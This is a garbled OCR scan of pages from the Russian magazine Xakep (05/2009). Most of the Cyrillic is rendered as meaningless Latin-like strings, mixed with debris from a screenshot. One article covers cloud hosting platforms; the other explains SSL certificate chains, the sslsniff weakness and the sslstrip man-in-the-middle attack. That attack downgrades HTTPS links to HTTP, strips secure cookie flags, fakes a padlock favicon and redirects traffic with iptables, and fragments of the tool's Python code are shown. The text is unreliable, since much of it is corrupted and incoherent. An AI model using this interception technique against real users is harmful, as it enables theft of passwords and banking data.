• Cloud Front - pacnpegelleHHa~ ceTb xpaHeHVl~ VI gocTaBKVI

VlCxoAHbie KOAbl

yeCKVI ilVlHeriiHO. npVl 3TOM pa3pa60T4VlK VI nOilb30BaTeilb

KOHTeHTa;

eyeOS.

HVlyerO He 6YAeT 3HaTb 0 TOM, KaK Tbl BHYTpVl 3anycKaewb

• Simple Queue Service - CVlCTeMa 04epegerii C006Ll.\eHVlrii

Bce Ha AeC~TKe BVipryailbHblX cepBepOB, Ka)l(Ablrii Vl3 KOTOpblX

gllfl co3gaHVI~ pacnpegelleHHblx npVlllo>t<eHVlrii;

pa60TaeT Ha nape peanbHblX. nO~BileHVle nepsoro cepbe3Horo

• Elastic MapReduce - CVlcreMa 06pa60TKl'l VI aHallVl3a 601lb­

VI gocrynHoro cloud-xocTVlHra OT Amazon-a nopOAVlno, no CYTVI,

WVlX 06beMoB gaHHblx Ha 6a3e OTKpblTOrii Apache Hadoop.

l.\enytO VlHAyCTpVltO,

~BVlS

npOCTblM CMepTHblM caMble npo­

pOAa ~SilHeTC~ Google AppEngine, KOTOPblrii npeAoCTasn~eT

4TO MHE CTO~T 06JlAKO nOCTPO~Tb?

ABVlHYTble TeXHOilorVlVl. HaVl60nee Vl3seCTHorii cVlcTeMorii TaKoro

~

HeKytO «necoCIHVll.\y», orpaHVl4eHHytO snonHe KOHKpeTHblM

He AyMarii, 4TO 06ilaYHbie Wry4KVl gocrynHbl TOJlbKO TeM, y Koro

API VI CVlCTeMHblMVI cepsVlcaMVI. «nec04HVll.\a» orpaHVl4eHa

MHoro geHer. XOT~ Tbl HegalleK OT VlCTVlHbl, TaK KaK n04TVl Bce

HeCKonbKVlMVI ~3bIKaMVI - ceriiYac 3TO Python VI Java, ogHaKo

KOMnaHVlVI He npeAilaralOT HVl4ero Ha xall5lBY Vl, nonOllb30­

pecypcHble orpaHVl4eHVl~ AOCTaT04HO nVl6epailbHbl, 4T06bl Tbl

saBWVlCb cepBVlcOM XOTH 6bl 4ac, Te6e y>t<e npVlgeTc~ nllaTVITb.

eLl.\e Aonro 0 HVIX He gyMail 13aHsneHO, 4TO cepsVlc AocryneH

ECTb npVl~THble VlcKilI04eHVI~, Bpoge Aptana Cloud, rge MO>KHO

XAKEP 05 /125/ 09


, . '

­

cohesiveFn\) assemble. deploy. man~

How GoGrJd Work:;

_

Products

Partners

FAQ

Blago

I~"!~'_~!~~!~­ "i ~~~~~~!'d~'~~~W~e.~?~o~omp"hM'I"

onboarding solutions for virtual and cloud computing Elastic Server real-time server assembly factory

UtlLi\HD

~f:-:-~-=:

~

,

'!ft'

~::: ~

customer controlled

~"".dO"d

~I

WIndows oUlringJn the Ooud

• ~1~~:~R::{~::ld Storagt

• ~:~~=~r1~~3~::~"dng

.~ .~i _._--'A1..

VPN-Cubed" ~

start aSSQmbh~ ..

our GUJ or API

'tl'

~i

..

__ ._._._-_._---~~~

Get tile Most Control of Your Cloud Compl4ing JntraS!ructur&

Get Started with Cloud HoStlng

•~.OOCl users h:MI assembled 6,987 VlrNQI EllMlfS as ofAprll6lh, 2009· nlQ16

Live Factory Stats «>ml! lnsldl! and wat<.h the geaa

Around The Watercooler tum .

~&

o~fto

ouu

o"'o~

0,,",10

readlTlOlC!l'leV>'1aboutus CDh;;S~li:FT

~~~lS ~

::;dds f"dc:l"Tt. em.;> 1C:!J

gfl

::.1Hi\'IlU tan add t'fen rM'8 pre.-~il~ ~l ano:! 'IOr'i~. ,patlll(,l yU'.Il (!(,lud rcmPL'!<tl9lf,i'ra'SlrUt:ull'WTfl';OOIll>p:1n.::!l'C1ran.gBQlClOOjUlVtrSCill.

-------=0.

~

~nd

SI!l'\upfO)t GoGllc'loo,l'

CohesiveFT Adds Fedora~ Core 10 to its Automated Elastic Serve~ Platform ...

RAM

fedordftj

tPU

St~<l'J!Sili~e :?~o

'00

Of!

veJ3lOO 10

IlsEI1I.stltS"!'lo... ~f'laliorrl1

Available now on ElastiC Server! -~

"'/11

6e3 epWHaHC08blX 8nO>KeH~~ 8 TeYeH~e 30 AHe~

rAe MO>KHO

nonb308aTbC~ caMO~ ManeHbKO~ 8WPTYanbHO~

nporpaMMaM~

MaW~HKO~.

XOyeWb, ~x MO>KHO nepeHecTV1 ~ Ha Google.

Ho ecn~ Te6e y>Ke He TepnwTC~ YTO­

3Kcnep~MeHT~p08aTb

Ha n~TOHe. nOTOM,

C pa3n~YHbIM~

OyeHb npoCT

ecnV1 OyeHb

nax XMPP, REST, JSON.

~

OCH08aH Ha cTaHAapTHblx npoToKo­

OHVl AomKHbl pa60TaTb cosepweHHo oA~HaKo­

~

paCCKa>Ky a napOYKe npOeKT08, KOTopble n0380­

so, HecMoTp~ Ha TO, YTO AppScale on~paeTC~

CaMoe rnasHoe, YTO Hy>KHO nOH~Tb. 06naYHbie

nm 6ecnnaTHO, TO eCTb AapOM, C03AaTb 8 AOMaw­

Ha OTKpblTble aHanor~ ryrnoscK~x TexHonor~~

C~CTeMbl

H~X

[Vl He epaKT, YTO SHYTP~ sce pa60TaeT TOYHO

po~ cpeAbl, 8 KOTOPO~ MOryT pa60TaTb KaK 06b1Y­

TO nonp0608aTb pa306paTb C80~M~ pyKaMVl, ~

ycn08vmx

aHanor~

Google AppEngine

CHEEiEC HA 3EMJHO - 3TO cpeACTso

HeKOTO­

p,n~ nonyYeH~~

~ Amazon EC2.

TaK >Ke]

Hble

KaK Tbl nOMH~Wb. AppEngine - 3TO TaKa~ cpeAa

Ecn~

CK~MV1 OC, TaK ~ l\enble nnaTepopMbl An~ V1cnon­

An~ ~cnonHeH~~ nporpaMM [Ha Python-el, rAe

nonp060saTb YTO-TO ell\e, MO>KHO nonblTaTbC~

HeH~~ npV1nO>KeH~~.

TBO~ cKp~m pa60TaeT 8HYTP~ 06naKa 8 cnel\~­

nOCTpOV1Tb 06naYHbl~ XOCT~Hr s~PTYanbHblX

Cloud-a ~8n~eTC~ He3a8~CVlMOCTb OT annapaT­

MaW~H, TaKO~

HOro 06eCneYeH~~ ~ r~6Ka~ MacwTa6~p08aH­

anbHo~ neCOYH~l\e ~ 83a~MoAe~CTByeT

C M~POM

Python Te6~ He YCTpaV1saeT, ~ Tbl XOyeWb

>Ke, KaK y Amazon EC2. B KOTO­

8~PTYanbHble

MaW~Hbl

c nonb308aTenb­

Ba>KHbIM npe~MYll\eCTSOM

Yepe3 API. Pecypcbl An~ Hero 8bIAen~IOTC~

pOM Tbl

A~HaM~YeCK~ ~

c06CTseHHbie onepal\~OHHble c~CTeMbl ~ T80­

MO>KHO cAenaTb. 06blYHO 8 06naKax pa3Mel1\aIOT­

OyeHb r~6KO. 3TO ~AeanbHO nOA­

~ APY3b~

MOryT

~HCTannVlposaTb

CSOVl

HOCTb,

XOT~

8 3TOM

Hanpa8neH~Vl

ell\e MHoro yero

P~Tb TaM YTO yroAHO. ,D,n~ 3Toro ~cnonb3yeTc~

c~

npoeKT08, TaK Vl p,n~ 6blCTPOro nOCTpoeH~~ 8e6­

Apyra~ OTKpbITa~

sblCTpen~T ~n~

np~nO>KeH~~,

YTO cosceM He Aepeso, a Elastic Utility Computing

sce pecypCbl !CPU, 3a Ka>K,D,bl~ r~ra6a~T Tpa­

neperpY30K ~ digg-3epepeKTa. OTKpbITa~ peanw­

Architecture for Linking Your Programs To Useful

ep~Ka, 3a MecTO 8 xpaHV1n~ll\e] no YaCaM. B 3TOM

3al\Vl~ Ha3bl8aeTC~

Systems. Ecn~ KpaTKO,- 3TO npOMe>KYTOYHa~

OTn~y~e

cpeAa, KOTopa~ pa60TaeT Ha MHO>KeCTSe KOMnblD­

oTAaTb cpa3Y 3a MeC~l\. BTOPblM npe~MYll\eCT80M

XOA~T

KaK

An~

pa3nVlYHbiX

~CCneA08aTenbCK~X

TorAa TOYHO MO>KHO He 60~TbC~

AppScale ~ Ha He~ MO>KHO

3anycKaTb Te >Ke caMble nporpaMMbl, YTO

~

8

op~­

pa3pa60TKa - EUCALYPTUS,

MonOAble npoeKTbl, KOTopble ell\e ep~r 3HaeT, HeT. n03TOMY nyywe OnnaY~8aTb

OT 06blYHOrO XOCTVlHra, rAe AeHbr~ HaAo

r~HanbHo~ Google-nOAeJlKe.

Tep08 [KnaCTepe] ~ npeAoCTa8n~eT Yepe3 8e6

6YAeT SLA - yposeHb npeAoCTa8neHVl~ cep8~­

Ecn~ y Te6~ eCTb MOl1\Hbl~ KOMnbIDTep, Tbl

V1 KOHconb S03MO>KHOCTb 3arpY3~Tb c06CTseHHbl~

ca 06blYHO HaMHoro 8blwe, YeM y cTaHAapTHblX

MO>KeWb pa3BepHYTb TaKylD CWCTeMY Ha HeCKonb­

06pa3 8wpTYaJlbHO~ MaW~Hbl ~ ynpa8Jl~Tb ~M,

xocT~Hros,

nonyYa~

HOCT~

K~X S~PTYanbHbIX

Vln~

MaW~Hax, VlMVlT~PY~

KnaCTep,

>Ke npocTO OAOn>K~Tb y APY3e~ HeCKonbKO

TOT

caMbl~

Amazon, TonbKO 6ecnnaT­

HO. losopm, YTO Aa>Ke YT~n~Tbl ~ API cTblpeHbl

CVlCTeMH~KOS ~ c06paTb KIlaCTep S OTAenbHO

aHanOrWYHO aMa30HOSCKVlM, n03ToMY nOTpe­

83mo~

H~posaTbc~

KOMHaTe. AppScale nOCTasn~eTC~ S S~Ae

y>Ke HaCTpoeHHoro 06pa3a Pbl~ CTaS~TC~

Linux-c~CTeMbl,

KOTO­

CHayana MO>KHO Ha

H~X,

a nOTOM

y>Ke nepe~T~ Ha aMa30H, ecnVl CTpawHo Ha06yM

a 06naKo npep,naraeT yposeHb HaAe>K­

s 99,999. TaK YTO, OTKa3 n1D60~ ~3 C~CTeM

~n~ Aa>Ke 8cero cepsepa/cTo~K~ H~KaK He ypo­ H~T T80~ ca~TI Ecn~

He XOyeTC~ 3aMOpaY~SaTbC~

C YCTaH08KO~ onepal\~OHHO~ CV1CTeMbl, 8~PTYa­ n~3al\~e~ ~ npOY~M~ c~caAM~HcKVlMVl AeTan~M~,

sbl6pacblsaTb CTOnbKO AeHer. KCTaT~, TOT caMbl~

8bI6~pa~

AppScale OTn~YHO pa60TaeT n08epx Eucalyptus-a,

cpa3Y nnaTepopMY Ha T80eM nID6~MOM ~3blKe

YMHblX - pa60TaeT Ha OCHose OTKpblTOro aHanora,

~36asn~~ Te6~

ISbl60p 06blYHO - ~n~ Java ~n~ Python] Tbt

Eucalyptus, 0 KOTOpOM H~>Ke.

C Xen ~ 06pa3aM~. npOCTO 83~n ~ 3anYCT~nl

YYV1Tblsa~. YTO HaAO. KaK M~H~MYM, 4 cepsepa,

Ecn~ HaAO ynpasnmb MHO>KeCTSOM sVlpTYanbHblx

6YAeT He xsaTaTb 06blYHbiX cepsV1cos ~ npVl­

a 3HaYV1T, KOMnblDTep AOn>KeH 6blTb MOll\HbIM,

MaWV1H, epOPM~PY~ ~3 HV1X OAHO ~n~ HeCKonbKO

nO>KeH~~, S nepsYID OyepeAb SQL-6a3bt AaHHbIX,

OyeHb >KenaTenbHO - 64-6~THbIM. V1 - n060nbwe

06naK. nonp06y~ ell\e OAHy OTKpblTYID pa3pa­

HO KorAa

naM~T~, seAb 4 Xen-a 6YAYT KywaTb pecypcbl

60TKy - Enomalysm Iwwwenomaly.com] 3TO

nO>KeH~~,

c HenoMepHblM anneT~TOMI ,L:\eTanbHa~ VlHCTpyK­

nnaTepopMa, n03S0n~lDll\a~ o6beA~H~Tb KaK KOM­

a cnOMaTb xpeH KTO cyMeeTI 06naYHbie C~CTe-

L1W~

MepyeCKV1e SVlpTYanbHble MaWVlHbl [VMware,

Mbl, KaK

KVM, Xen V1 APyrV1el, TaK ~ 06naYHbie C~CTeMbl

Aa ~ AO KOHeYHO~ OC T~>KenO A06paTbc~, 8eAb

ca~Te. httpBcode.google.com/p/appscale/wiki/

TV1na Amazon EC2 s 0AVlH 60nbwo~ SV1pTYanbHbl~

TaM MO>KeT 6blTb HecKonbKO yposHe~ 8V1pTYanVl­

Deploying AppScale via Xen. EcnVl sce nony­

AaTa-l\eHTp, ynpasn~eMbl~ OAHO~ se6-KoHconblD.

3al\~~. MOH~Top~Hra ~ cVlCTeM 6e30nacHOCT~

YV1TC~,

,L:\ocTYn K nnaTepopMe ~3 T80~X np~nO>KeH~~

Inonp0608aTb, SnpOYeM, MO>KHO .. .l. :x:

wnV1 Ha SV1pTYanbHYID MaWV1HY Xen,

V1JlW Ha 6YP>KY~CKOM Amazon EC2, a An~ caMblX

no YCTaHosKe ~ 3anycKy AOCTaTOYHO 06b­

eMHa~,

n03ToMY Y~Ta~ ee Ha oep~l\~anbHOM

y Te6~ 6YAeT csoe C06CTBeHHOe 06naKO,

XAKEP 05 /125/ 09

OT He06xoA~MOCT~ XV1MV1YV1Tb

06naYHbie c~CTeMbl, npeAOCTaSn~lDll\we

6YAewb OrpaH~YeH 3apaHee 3aAaHHbiM API, yaCTO

np~sbIKHeWb.

CMO>KeWb AenaTb

KOTOpble 8blAep>KaT

npas~no,

M~nnWOHbl

ropa3AO nyywe

np~­ X~T08,

3all\~ll\eHbl,

~

025


sslstril!

.

•­

--

~

I ~---­

.............. .

.

. .. .

................. .

I

nPHHI..\I.1n AE~CTBH51 SSLSTRIP

AHTOH )l(YKOB / ANTITSTERlilGMAIL.COM /

BCKPblBAEM SSL nepeXBaT AaHHblX B 3al1.U1l1.\eHHbIX COeA~HeH~SlX l!1cnOJlb3y51 Me~Jl, a,o,MlIlHKY lIlJllll ClIlCTeMY 3JleKTpOHHOrO 6aHKlIlHra

,lJ.Jl51 ynpaBJleHlIl51 CBOlllM CyeTOM, Mbl nOJlHOCTbfO ,o,OBep51eMC51 cepBepy.

ECJllll BCe ,o,aHHble nepe,o,afOTC51 no 3aw,1Ilw,eHHoMy SSL-coe,o,lIlHeHlIlfO­

o yeM

pa,o,yfKHo co06w,aeT 6pay3ep -

TO 111 6051TbC51 Bpo,o,e 6bl Heyero.

HOTaKJl1ll3TO Ha caMOM ,o,eJle? npOCTa~ ~CT~Ha: nepe,D,aBaTb ,D,aHHble B OTKpbl­

TOM B~,D,e -

B nlO6o~ CepTl1epl1KaT BXO,D,~T cne,D,ylOLl.ll1e non~:

He6e30naCHO. B 3TOM cnY4ae OH~

OT CA Certificate, He rapaHTl1pylOT JJer~mM­

nerKO MOryr CTaTb ,D,06bI4e~ 3nOYMblwneHH~Ka,

• nonHoe (YHMKanbHoe)

KOTOpOMy He

AenbQa

COCTaB~T

Tpy,D,a nepeXBanlTb,

MO,D,l1epI1L\l1pOBaTb 11 ,D,a)l(e nO,D,MeHI1Tb ~x. BOT

n04eMY nOrl1Hbl 11

• AaTa

napon~,

a TaK)I(e ,D,pyrl1e

KOHepl1,D,eHL\~anbHble ,D,aHHble no 06bl4HOMy

MMH Bna­

Kn~~

Bna~errbua;

B~AaqH ~M~pOBoro cepTM~H-

BC~

L\en04Ka COCTOI1T 113 CJle,D,YIOLl.lI1X 3BeHbes:

«CA Certificate -

Intermediate CA -

Site

KaTai

Certificate», O,D,HaKO npOMe)l(YT04HbiX CepTI1­ epl1KaTOS MO)l(eT 6blTb 6onbwe. TaK I1nl1 I1Haye,

HTTP He nepe,D,aIOTC~. BMeCTO 3Toro I1cnonb3Y­

• AaTa OKOHQaHHR AeMCTBMB cepTH­ ~MKaTa;

Me,D,neHHee, HO 3aTO ynaKoBblBaeT ,D,aHHble

• non Hoe (YHMKanbHoe)

S Kpl1nTOrpaepl14eCKI1~ npOTOKon SSL -

nB

11 Te

HOCTb ca~Ta 11 He BCTpaI1BaIOTC~ B 6paY3ep. nonY4aeTC~, 4TO S'caMOM npOCTOM CJlY4ae

cepTM~HKaTa;

OTKP~TH~

eTC~ 3aLl.ll1Ll.leHHbl~ HTTPS, KOTOPbl~ pa60TaeT

nepe,D,aIOTC~ y)l(e S 3aWI1epposaHHOM SI1,D,e.

nl1CI1 Site Certificate, O,D,HaKO, S OTnl1Yl1e

nposepKa nO,D,nVlHHOCT~ ca~Ta oCYLl.leCTBn~eTc~

MMfI H3AaTe­

(MCTOqHMKa cepTM¢HKaTa);

~M~poBaB

nOAnMCb

~3AaTenB.

C nOM0Ll.lblO npoCTo~ peKypcl1sHO~ npOL\e,D,ypbl: • CHa4ana npoBep~eTc~, 4T06bl Kpa~HI1~ S L\en04Ke CepTl1epVlKaT 6bln Sblnl1CaH Ha VlM~ ca~Ta, K KOTOpOMy l1,D,eT 06paLl.leHl1e:

ri

KAK YCTPOEH SSL?

nposep~eTC51, He npocp04eH nVl CepTl1epVlKaT;

CYLl.leCTByeT HeCKOnbKO BI1,D,OB CepTl1epI1KaTOS.

Anropl1TM pa60Tbi SSL nOCTpoeH Ha I1CnOnb­

l-IT06bl y,D,OCTOBepI1TbC~ B nO,D,nI1HHOCTI1 KOH­

• S KOHL\e

30SaHI111 napbl aCI1MMeTpl1YHblX KnI04e~.

KpeTHoro ca~Ta, ~cnonb3yeTcfI cneL\~anbHO

KOTOPO~ OH nO,D,nVlcaH.

npOBep51eTC~

nO,D,nVlCb, C nOM0Ll.lblO

OTKPbITbl~ KnlO4 pa3,D,aeTC~ BceM )I(enalOLl.lI1M,

Bbrnl1CaHHbl~ ,D,nfl Hero CepTl1epl1KaT ISite

nO,D,nVlCb MO)l(eT npVlHa,D,ne)l(aTb I1nVl KopHesoMy

11 C ero nOMOLl.lblO Wl1epPYIOTC~ He06xo,D,I1Mble

Certificatel. )J,n~ npOSepKI1 nO,D,nI1HHOCTI1 TaKI1X

CepTl1epVlKaTy, 11 3TO 3Ha411T, 4TO cepmepl1Kary

,D,aHHble, KOTopble ,D,anee MO)l(HO ,D,ewl1epposaTb

CepTl1epl1KaTOS B CBOIO 04epe,D,b CYLl.leCTBYIOT

MO)l(HO

TonbKO C nOM0Ll.lblO 3aKpblToro KnlO4a [OH eCTb

CepTl1epl1KaTbl ljeHTpa CepTl1epl1KaL\l111 ICA

npoMe)l(YT04HoMY cepTl1ep~KaTY. B nOCne,D,HeM

Ha cepsepel. OTKPbITbl~ KnlO4 npe,D,OCTaSnfl­ eTC~

cepsepOM

Kn~eHry,

npl14eM

Sbl,D,aeTC~

Certificatel: OHI1 06na,D,alOT MaKCI1ManbHblM ,D,OBepl1eM

~ SCTpaI1BaIOTC~

HenOcpe,D,CTBeHHo

100% ,D,Osepmb,

I1nl1 )I(e HeKoTopoMy

cnY4ae He06xo,D,I1MO nO,D,H~TbC~ Ha yposeHb Sblwe 11 SblnonHVlTb nposepKY eLl.le pa3 ­

Ha~,D,eHa nO,D,nl1Cb KOp'­

B COCTaBe CepTl1epl1KaTa [nO,D,nI1CbIBaeTC~ Tpe­

B 6pay3ep [I1X TanKe Ha3blBalOT KOpHeBbl­

11 TaK, noKa He 6y,D,eT

Tbe~ ynonHoM04eHHO~CTOPOHO~ -

MI1 -

HeBoro cepT~ep~KaTa. V1n~ He 6yp,eT, 4TO 03Ha­

TaK Ha3bl­

Root CAl. nOMI1MO 3TOro, cYLl.leCTBYIOT

saeMblM L\eHTpOM CepTl1epl1KaL\I1I1: certificate

npoMe)l(YT04Hbie CepTl1epl1KaTbl (Intermediate

4aeT: y,D,OCTOSepI1TbC51 S nO,D,nI1HHOCTI1 ca~Ta

authority -

CAl. KOTopble TaK)I(e I1cnonb3YIOTc~ ,D,n~ no,D,­

HeS03MO)l(HO.

~

026

CAL

XAKEP 05 /125/ 09


slsniff

-

-

-

I

I

~I-----­

I

MAPA60Tbi

SNIFF

SLSNIFF, ~JH1

K BCE HA4~HAJlOCb

_-'::CTZSY1M TaKyKl KapTY1HY: y Hac eCTb KaT AmJ Hawero -

-:::>

ca~Ta xake~.ru;

SleTCSl nOClleAHY1M 3BeHOM B l.\enOYKe

"':=--' CA - Intermediate CA - Intermediate

• CO CBoe~ CTOpOHbl YCTaHaBIlY1Bana 06b1Y­

XBaYeHHO~

Hoe HTTPS-coeAV1HeHlo1e C HY)l(HblM cepBepOM

BblnOIlHSleTC~ 3aMeHa «https:!/» Ha <<http://>>,

Y1 BblCTynana cBoe06pa3HO~ npOKce~, CHY1<jJall

a Y1CXOAHa~ Y1 Y13MeHeHHa~ URL 3aHOC~TC~

BeCb Tpa<jJY1K.

B Ta6n Y1l.\y COOTBeTCTBY1~.

Bce, YTO Tpe60BanaCb An~ pa60Tbi - 3TO npeAOCTaBY1Tb sslsniff Ae~CTBY1TenbHbl~

K CO)l(aneHY110, C 2002-ro, KorAa

- - - xakep.ru». nOyeMY 6bl He non PO­

cepTV1<jJIo1KaT.

~ cAellaTb CepTY1<jJY1KaT ca~Ta npoMe­

6blna ony61llo1KoBaHa YTY1IlY1Ta, 6pay3epbl

. bI

~

Y1 He nOAnY1CaTb C ero nOM0l1.1bKl

ecypc, HanpY1Mep, paypalcom? OBY1~ npOBepKY1 An~ l.\enOYKY1 IRoot

- -=

ntermediate CA -

~;:JnIo1CY1 Bcex CepTY1<jJIo1KaTOB Ae~CTBY1­

selE.replaceCssLinks(data)

y)l(e He nOMO)l(eTI

data

selE.replaceSecureFavicon(data)

f:1 npOAOJl>KEH~E

-

iterator = re,finditer(

SSLSTRIP

data, re.IGNORECASE}

HeBO~ CepTY1<jJY1KaT SCTpoeH B 6pay3ep

3aXOTen npOBepY1Tb CBO~ nOYTOBblii 1ll1.1Y1K Gmail. npOCTO Ha6Y1paeWb S aApeCHoii CTpO­

CepTY1<jJY1KaT?

- -e Basic Constraints, KOTopoe

onpeAen~eT,

.ZAne)l(Y1T JlY1 OH l.\eHTpy CepTY1<jJY1Kal.\Y1Y1 eT. LITo YAY1BY1TenbHO, AaJleKO He Bce BbICTaBIl~nY1

eMy 3Haye­

pepOB Aa)l(e He YTpY)l(AallY1Cb npOBepKO~ 3TOro nOIl~. nOIlYlIaeTC~, Y1Me~

=3}'Kax Ae~CTBY1TenbHbl~

o 6blno C03AaTb Y1 nOAnY1CaTb CepTY1<jJY1­ Y1 6pay3e­

z)I(e He 3anOA03pY1nY1 6bl HellaAHoe MOTP~

Ha MHOrOYY1ClleHHble

link

= match.group(9)

nonyYaeTCIl, YTO nOllb30BaTeilb nonaAaeT Ha 3al1.1V1l1.1eHHYKl CTpaHY1l.\y AByMIl

nYT~MV1:

KnY1Ka~ Ha cCblnKIo1!KHonKY1 Y1nY1 Yepe3 peAY1­ OCYl1.1eCTBIl~eTCSl nocpeAcTBoM 06blYHOro

http-npoToKOna, aero, KaK

II

y)l(e rOBOpV1Il,

nerKO nepeXBaTY1Tb.

iE not link,startswith('http'): logging.debug("Found relative link in secure transmission:

M

link)

+

absoluteLink = ''http://'' + selE.serverHost + link absoluteLink = absoluteLink replace ('&amp;','&')

selE.secureLinkListener. addLink(absoluteLink};

flY1nOBblii CepTY1<jJY1KaT «Ha lleTy» C03AaTb

CepTY1<jJY1KaT,

nn~ nKl60ro APyroro AOMeHa -

He Ha6Y1paeT http://, a y)l( TeM 60nee https:!/.

peKTbl. nepexoA Ha 3al1.1lo1l1.1eHHble pecypcbl

- '" CAcFALSE. 50nee Toro, 60nbWY1HCTBO

for match in iterator:

Ke mail.google.com Y1 nonaAaeWb Ha 32l1.1101­ l1.1eHHyKl CTpaHlo1l.\y aBTOpV13al.\Y1Io1. HIo1KTO

oro CepTY1<jJY1KaTa eCTb HenpY1MeTHOe

self,linkExpression,

Lh06bl pa306paTbCIl C APyrY1M cnoco­ Ha 3al1.1Y1l1.1eHHble CTpaHV1l.\bl. ,[\onycTY1M, Tbl

4Ha nY1Wb 3arB03AKa: KaK )l(e Mbl BblAa­

'

3aSlBlleHY1~,

3KcnllyaTY1pOBaTb 3TO HeB03MO)l(HO, pa3­ ;; TlIY1K Moxie Marlinsplke ony6nY1KOSan 'lyKl YTY1nY1Ty sslsniff, KOTopa~ peallY1­ -".,. sana npOCTYKl aTaKy MITM [Man in the -

data

60M, BCnOMHY1, KaK Mbl 06blYHO nonaAaeM

:-e"ZAzeT nonHblM AOSepY1eM.

-

selE. replaceSecureCookies (data)

He npeHe6peraKlT. YBbl, TaKO~ cnoc06 HaM

b/.

_-3'leHY1~

(self, data) data

0AY1 H CepTY1<jJY1 KaT He npOCpOYeH;

pbl paHee

data = DataShuEfler.replaceSecureLinks

CT21lY1 yMHee Y1 TaKO~ npOBepKO~ 60nbwe

~CTOP~~

- -en eHHbIMY1:

-

deE replaceSecureLinks(self, data):

Intermediate CA ­

paypal.coml npY1 3TOM OCTaHYTC~

C:J.fU -

CCblllKe Ha 3al1.1Y1l1.1eHHOii pecypc

dle!. nepexsaTblBa~ BeCb Tpa<jJY1K. CMblcn

y)l(e He BbliiAeT. TaK, MO)l(eT, 060iiAeMCIl

return data

BOBce 6e3 CepTY1<jJY1KaTa? 3ayeM ero c03Aa­ BaTb, eCIlY1 eCTb waHC nepeXBaTY1Tb 3anpoc

KaK TOllbKO KnV1eHT nOCblnaeT 3anpoc

Ha 3al1.1Y1l1.1eHHOe COeAY1HeHY1e C cepBepoM

Ha COeAY1HeHY1e C 3al1.1Y1l1.1eHHbIM URL, Mbl

Y1 3aCTaBY1Tb nonb30BaTellll 06l1.1aTbCIl C HaMY1

nOAcOBblBaeM eMy mtnOBYKl CCbIIlKY, a CaMY1,

no caMoMy 06blYHOMY HTTp? V1MeHHo 3Ta

TeM BpeMeHeM, YCTaHaBnY1BaeM

Y1Ae~

HTTPS-coeAY1HeHY1e, BbJnOIlH~~ 3anpoc

Y1llerna B OCHOBy nporpaMMbl sslstrip,

KOTOpyKl Ha HeAaBHeii KOH<jJepeHI4Y1Y1 Black

HaCTO~l1.1ee

OT CBoero Y1MeHY1. nOIlYYY1B OTBeT OT cepBepa

Hat DC 2009 npeACTaBY11l Bce TOT )l(e xaKep

Y1 onllTb SblnOIlHY1B 3aMeHbi B nY1HKaX, oTAaeM

Moxie Marlinspike.

KOHTeHT nonb30saTellKl no 06blYHOMY HTTP­

-pora nepexBaTblBalla KIlY1eHTCKY1e 3anpo­

npeAllaraKl paccMoTpeTb ee 60llee nOA­

COeAY1HeHY1Kl.

a coeAIo1HeHY1e c 3al1.1Y1l1.1eHHbIM HTTPS­

p06HO. nOMY1MO OnY1CaHY1Il, ~ 6YAY npY1­

B pe3YllbTaTe nonyYaeTC~ 3aMeyaTenb­

OM;

BOAY1Tb He60llbWY1e OTpbIBKY1 Y1CXOAHY1KOB

I-Ia~ KapTY1HKa. CepBepy, OTAaKll1.1eMY BeCb

Ha Python'e. B OCHOBe, on~Tb )l(e, lle)l(Y1T

KOHTeHT no 3al1.1Y1l1.1eHHoMY KaHany, HeT

-= Alo1ncSl K cneAyKll1.1eMy:

caMa c03AaBaila cepTIo1<jJIo1KaT An~ ca~Ta, TOpOMy ~na

KOHHeKTY1TC~

KIlY1eHT, Y1 nOAnlo1­

ero C nOM0l1.1bKl y)l(e

"fl>1<jJV1 KaTa;

p 05/1251 09

V1MeIOl1.1erOC~

npY1HI4Y1n MITM, n03BOIl~Kll1.1Y1ii BKnY1HY1TbC~

HY1KaKOrO Aella, OT Koro npY1XOAY1T nOA­

Me)l(AY cepBepoM Y1 KJlY1eHTOM,

npOCMaTpY1Ba~

KIlKlyeHY1e, a KnY1eHT He nOllyyaeT HY1KaKvlX

npOXOAIll1.1Y1ii HTTP-Tpa<jJY1K. B Ka)l(AOii nepe-

npeAynpe)l(AeHY1ii Y1 Aa)l(e He nOA03peBaeT,

~

027


4TO Vlcnonb3yeT He3al.l.\Vll.l.\eHHOe coeAVlHeHVle. A Mbl?

A Mbl nepexBaTblBaeM BeCb Tpa<jJVlK :l.

• ~

~

HECKOJlbKO YJlOBOK

YT06bl el.l.\e 60nbwe C03AaTb

warning

Vlnn103VlIO,

4TO Bce 6e30nac­

HO, 6YAeM OTCne>KVlBaTb 3anpocbl favicon !3TO VlKOHKa,

• EcnVl BepVlTb pa3­

oT06pa>KalOl.l.\a>lC>l B aApecHo~ CTpoKe 6pay3epa Heno­

pa6oT4VlKy sslsniff

cpeACTBeHHo nepeA aApecoMI. \11 KorAa nony4aeM TaKO~

Moxie Marlinspike,­

3anpoc An>l 3al.l.\Vll.l.\eHHOrO coeAVlHeHYI>l, TO nOACOBblBaeM

HeKOTOpble 6paY3e­

YlKOHKy C 3aM04KOM, KOTOpa>l B 06bl4HO ~ cVlryal.\YlVl yKa­

Pbl nO-npe>KHeMY

3blBaeT Ha TO, 4TO coeAVlHeHYle OCYl.l.\eCTBn>leTC>l no 6e30­

He yTpy>KAalOT ce6>l

nacHoMy KaHany.

npOBepKO~

C03AAH~E nPAB~nA

nOn>!

Basic Constraints.

• BC>l VlHqlOpMal.\Vl>l

self.iconExpression,

npeACTaBneHa VlC­

data, re.IGNORECASE)

• C 6e30naCHblMl'I KyKYlCaMYI, KOTopble He nepeAalOT

no He3a I.l.\l'II.l.\eH HOMy COeAl'IHeHYlIO;

for match in iterator:

B cnY4ae Vlcnonb30­

link

BaHVl>l ee B npOTVlBO­

link. replace ( 'http: / /',

~

• C 6aHallbHO 3aKeWVlpOBaHHblMl'I CTpaHYll.\aMVl, B KOTOpblX

match.group(l)

Mbl He MO>KeM CAenaTb 3aMeHy.

'https: / /')

3aKOHHbiX l.\en>lX

HVl aBTop, HVl peAaK­

HTTP-TPA<I><I>~KA

HAnOPT8080

KnlO4VlTenbHO B 03Ha­

KOMVlTenbHblX l.\en>lx.

B IPTABLES

AnSI nEPEHAnPABnEH~SI

deE replaceSecureFavicon(selE, data): iterator ~ re.finditer(

KaK 6blTb?

B KyKl'Icax HaM nOTpe6yeTC>l y6Y1paTb <jJnar security bit

if not link.startswith('http://'):

l.\Vl>l OTBeTCTBeH Hocni

link

~

'http://'

+

self.serverHost

+

link

He HecyT.

